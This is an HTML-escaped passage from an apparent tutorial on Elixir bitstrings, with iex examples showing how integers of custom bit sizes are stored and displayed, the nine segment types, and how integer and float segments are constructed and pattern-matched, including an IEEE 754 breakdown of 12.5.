&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first part (&lt;code&gt;64&lt;/code&gt;, &lt;code&gt;32&lt;/code&gt;, &lt;code&gt;16&lt;/code&gt;) gets smaller as we reserve more bits because of how Elixir stores versus displays bits. When we reserve 10 bits for &lt;code&gt;257&lt;/code&gt;, Elixir first creates a bitstring of 10 zeros:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Space added for clarification&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;00000000&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;00&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, Elixir stores the value &lt;code&gt;257&lt;/code&gt; by filling the bitstring &lt;strong&gt;from the right&lt;/strong&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Before&lt;/span&gt;: &lt;span style=&quot;color: #79c0ff;&quot;&gt;00000000&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;00&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;After&lt;/span&gt;:  &lt;span style=&quot;color: #79c0ff;&quot;&gt;01000000&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;01&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But when it displays the bitstring, Elixir splits the bits into bytes &lt;strong&gt;from the left&lt;/strong&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# With size: 10&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;01000000&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;01&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# With size: 11&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;00100000&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;001&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# With size: 12&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;00010000&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0001&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The difference of displaying vs storing a bitstring might be confusing, but in practice the bitstring remains one continuous sequence of bits:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0b0100000001&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Until now, we only looked at how Elixir stores integers in a bitstring, but it supports many more &lt;code&gt;types&lt;/code&gt;, so let&apos;s talk about them next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#types&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;types&quot;&gt;&lt;/a&gt;Types&lt;/h2&gt;
&lt;p&gt;When constructing or decoding a bitstring, Elixir works with &quot;segments&quot;. For example, to deconstruct a bitstring into one integer, one float, and two bytes, Elixir matches the first bits against an integer, then a float, then two bytes. If any segment fails to match, it raises a &lt;code&gt;MatchError&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Segments can have one of 9 &lt;a href=&quot;https://hexdocs.pm/elixir/1.18.4/Kernel.SpecialForms.html#%3C%3C%3E%3E/1-types&quot;&gt;types&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;integer&lt;/code&gt; - default type if no type is specified&lt;/li&gt;
&lt;li&gt;&lt;code&gt;float&lt;/code&gt; - must be 16, 32, or 64 (default) bits&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bitstring&lt;/code&gt; - can be nested within another bitstring!&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bits&lt;/code&gt; - alias for &lt;code&gt;bitstring&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;binary&lt;/code&gt; - always 8 bits or 1 byte&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bytes&lt;/code&gt; - alias for &lt;code&gt;binary&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;utf8&lt;/code&gt; - default encoding of strings&lt;/li&gt;
&lt;li&gt;&lt;code&gt;utf16&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;utf32&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&apos;s see how to use these types in a binary pattern match.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#integer&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;integer&quot;&gt;&lt;/a&gt;Integer&lt;/h3&gt;
&lt;p&gt;If no type is specified, Elixir expects an integer segment. Integers are 8 bits by default but the size can be adjusted.&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;130&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;130&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0b10000000&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0b0010000000&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#floats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;floats&quot;&gt;&lt;/a&gt;Floats&lt;/h3&gt;
&lt;p&gt;Floats are 64 bits by default, but can be smaller if specified:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;12.5&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# 8 Integers * 8 bits = 64 bits&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;41&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# 0 10000000010 1001000...000&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# | |           |&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Sign (1 bit. 0 for positive, 1 for negative)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#   |           |&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#   Exponent (11 bits with 1023 bias for float64)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#               |&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#               Significand (52 bits)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# significand = 1*2^-1 + 0*2^-2 + 0*2^-3 + 1*2^-4&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# = (-1)^sign x (1 + significand) x 2^(exponent - bias)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# = (-1)^0 x (1 + 0.5625) x 2^(1026-1023) = 12.5&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;12.5&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can specify the &lt;code&gt;size&lt;/code&gt; of the float with the &lt;code&gt;dash&lt;/code&gt; modifier and either the short-hand notation &lt;code&gt;-n&lt;/code&gt; or the full notation &lt;code&gt;size(n)&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-13&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;12.5&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;65&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;72&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;12.5&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When working with custom-sized floats, you have to watch out for overflows when the number you want to store is too large for the chosen float size:&lt;/p&gt;
